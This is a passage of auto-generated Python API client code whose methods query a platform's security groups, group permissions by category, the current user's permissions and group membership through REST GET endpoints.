noqa: E501 def security_get_security_group_rights_by_group_id_and_category_id_v2_with_http_info(self, groupid, categoryid, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. To get Security Group IDs, use \"Get all available Security Groups.\" To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_id_and_category_id_v2_with_http_info(groupid, categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID (required) :param str categoryid: Specify the Security Group category ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityRightsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid', 'categoryid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_by_group_id_and_category_id_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_security_group_rights_by_group_id_and_category_id_v2`") # noqa: E501 # verify the required parameter 'categoryid' is set if self.api_client.client_side_validation and ('categoryid' not in local_var_params or # noqa: E501 local_var_params['categoryid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryid` when calling `security_get_security_group_rights_by_group_id_and_category_id_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 if 'categoryid' in local_var_params: path_params['categoryid'] = local_var_params['categoryid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygrouprights/groupid/{groupid}/categoryid/{categoryid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityRightsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_by_group_name_and_category_name_v1(self, groupname, categoryname, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_name_and_category_name_v1(groupname, categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str categoryname: Specify the Security Group category name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Right] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_by_group_name_and_category_name_v1_with_http_info(groupname, categoryname, **kwargs) # noqa: E501 def security_get_security_group_rights_by_group_name_and_category_name_v1_with_http_info(self, groupname, categoryname, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_name_and_category_name_v1_with_http_info(groupname, categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str categoryname: Specify the Security Group category name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Right], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupname', 'categoryname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_by_group_name_and_category_name_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupname' is set if self.api_client.client_side_validation and ('groupname' not in local_var_params or # noqa: E501 local_var_params['groupname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupname` when calling `security_get_security_group_rights_by_group_name_and_category_name_v1`") # noqa: E501 # verify the required parameter 'categoryname' is set if self.api_client.client_side_validation and ('categoryname' not in local_var_params or # noqa: E501 local_var_params['categoryname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryname` when calling `security_get_security_group_rights_by_group_name_and_category_name_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'groupname' in local_var_params: path_params['groupname'] = local_var_params['groupname'] # noqa: E501 if 'categoryname' in local_var_params: path_params['categoryname'] = local_var_params['categoryname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygrouprights/groupname/{groupname}/categoryname/{categoryname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Right]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_by_group_name_and_category_name_v2(self, groupname, categoryname, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_name_and_category_name_v2(groupname, categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str categoryname: Specify the Security Group category name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityRightsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_by_group_name_and_category_name_v2_with_http_info(groupname, categoryname, **kwargs) # noqa: E501 def security_get_security_group_rights_by_group_name_and_category_name_v2_with_http_info(self, groupname, categoryname, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_name_and_category_name_v2_with_http_info(groupname, categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str categoryname: Specify the Security Group category name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityRightsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupname', 'categoryname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_by_group_name_and_category_name_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupname' is set if self.api_client.client_side_validation and ('groupname' not in local_var_params or # noqa: E501 local_var_params['groupname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupname` when calling `security_get_security_group_rights_by_group_name_and_category_name_v2`") # noqa: E501 # verify the required parameter 'categoryname' is set if self.api_client.client_side_validation and ('categoryname' not in local_var_params or # noqa: E501 local_var_params['categoryname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryname` when calling `security_get_security_group_rights_by_group_name_and_category_name_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'groupname' in local_var_params: path_params['groupname'] = local_var_params['groupname'] # noqa: E501 if 'categoryname' in local_var_params: path_params['categoryname'] = local_var_params['categoryname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygrouprights/groupname/{groupname}/categoryname/{categoryname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityRightsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_for_current_user_by_category_id_v1(self, categoryid, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by ID # noqa: E501 Operation to get permissions for the current user's Security Group by category. To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_id_v1(categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryid: Specify the Security Group category ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Right] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_for_current_user_by_category_id_v1_with_http_info(categoryid, **kwargs) # noqa: E501 def security_get_security_group_rights_for_current_user_by_category_id_v1_with_http_info(self, categoryid, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by ID # noqa: E501 Operation to get permissions for the current user's Security Group by category. To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_id_v1_with_http_info(categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryid: Specify the Security Group category ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Right], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['categoryid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_for_current_user_by_category_id_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'categoryid' is set if self.api_client.client_side_validation and ('categoryid' not in local_var_params or # noqa: E501 local_var_params['categoryid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryid` when calling `security_get_security_group_rights_for_current_user_by_category_id_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'categoryid' in local_var_params: path_params['categoryid'] = local_var_params['categoryid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygrouprightsforcurrentuserbycategoryid/categoryid/{categoryid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Right]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_for_current_user_by_category_id_v2(self, categoryid, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by ID # noqa: E501 Operation to get permissions for the current user's Security Group by category. To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_id_v2(categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryid: Specify the Security Group category ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityRightsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_for_current_user_by_category_id_v2_with_http_info(categoryid, **kwargs) # noqa: E501 def security_get_security_group_rights_for_current_user_by_category_id_v2_with_http_info(self, categoryid, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by ID # noqa: E501 Operation to get permissions for the current user's Security Group by category. To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_id_v2_with_http_info(categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryid: Specify the Security Group category ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityRightsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['categoryid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_for_current_user_by_category_id_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'categoryid' is set if self.api_client.client_side_validation and ('categoryid' not in local_var_params or # noqa: E501 local_var_params['categoryid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryid` when calling `security_get_security_group_rights_for_current_user_by_category_id_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'categoryid' in local_var_params: path_params['categoryid'] = local_var_params['categoryid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygrouprightsforcurrentuserbycategoryid/categoryid/{categoryid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityRightsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_for_current_user_by_category_name_v1(self, categoryname, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by name # noqa: E501 Operation to get permissions for the current user's Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_name_v1(categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryname: Specify the Security Group category name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Right] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_for_current_user_by_category_name_v1_with_http_info(categoryname, **kwargs) # noqa: E501 def security_get_security_group_rights_for_current_user_by_category_name_v1_with_http_info(self, categoryname, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by name # noqa: E501 Operation to get permissions for the current user's Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_name_v1_with_http_info(categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryname: Specify the Security Group category name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Right], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['categoryname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_for_current_user_by_category_name_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'categoryname' is set if self.api_client.client_side_validation and ('categoryname' not in local_var_params or # noqa: E501 local_var_params['categoryname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryname` when calling `security_get_security_group_rights_for_current_user_by_category_name_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'categoryname' in local_var_params: path_params['categoryname'] = local_var_params['categoryname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygrouprightsforcurrentuserbycategoryname/categoryname/{categoryname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Right]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_for_current_user_by_category_name_v2(self, categoryname, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by name # noqa: E501 Operation to get permissions for the current user's Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_name_v2(categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryname: Specify the Security Group category name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityRightsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_for_current_user_by_category_name_v2_with_http_info(categoryname, **kwargs) # noqa: E501 def security_get_security_group_rights_for_current_user_by_category_name_v2_with_http_info(self, categoryname, **kwargs): # noqa: E501 """Get current user's permissions by Security Group category by name # noqa: E501 Operation to get permissions for the current user's Security Group by category. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_for_current_user_by_category_name_v2_with_http_info(categoryname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str categoryname: Specify the Security Group category name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityRightsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['categoryname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_for_current_user_by_category_name_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'categoryname' is set if self.api_client.client_side_validation and ('categoryname' not in local_var_params or # noqa: E501 local_var_params['categoryname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryname` when calling `security_get_security_group_rights_for_current_user_by_category_name_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'categoryname' in local_var_params: path_params['categoryname'] = local_var_params['categoryname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygrouprightsforcurrentuserbycategoryname/categoryname/{categoryname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityRightsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_groups_v1(self, **kwargs): # noqa: E501 """Get all available Security Groups # noqa: E501 Operation to get IDs, names, and descriptions for all available Security Groups. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_groups_v1(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityGroupResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_groups_v1_with_http_info(**kwargs) # noqa: E501 def security_get_security_groups_v1_with_http_info(self, **kwargs): # noqa: E501 """Get all available Security Groups # noqa: E501 Operation to get IDs, names, and descriptions for all available Security Groups. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_groups_v1_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityGroupResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_groups_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroups', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityGroupResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_groups_v2(self, **kwargs): # noqa: E501 """Get all available Security Groups # noqa: E501 Operation to get IDs, names, and descriptions for all available Security Groups. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_groups_v2(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityGroupV2Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_groups_v2_with_http_info(**kwargs) # noqa: E501 def security_get_security_groups_v2_with_http_info(self, **kwargs): # noqa: E501 """Get all available Security Groups # noqa: E501 Operation to get IDs, names, and descriptions for all available Security Groups. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_groups_v2_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityGroupV2Response, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_groups_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroups', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityGroupV2Response', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_users_in_security_group_v1(self, groupid, **kwargs): # noqa: E501 """Get users in a Security Group # noqa: E501 Operation to get the users in a specified Security Group. Use \"Get all available Security Groups\" to get Security Group record IDs. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_users_in_security_group_v1(groupid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[User] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_users_in_security_group_v1_with_http_info(groupid, **kwargs) # noqa: E501 def security_get_users_in_security_group_v1_with_http_info(self, groupid, **kwargs): # noqa: E501 """Get users in a Security Group # noqa: E501 Operation to get the users in a specified Security Group. Use \"Get all available Security Groups\" to get Security Group record IDs. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_users_in_security_group_v1_with_http_info(groupid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[User], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_users_in_security_group_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if 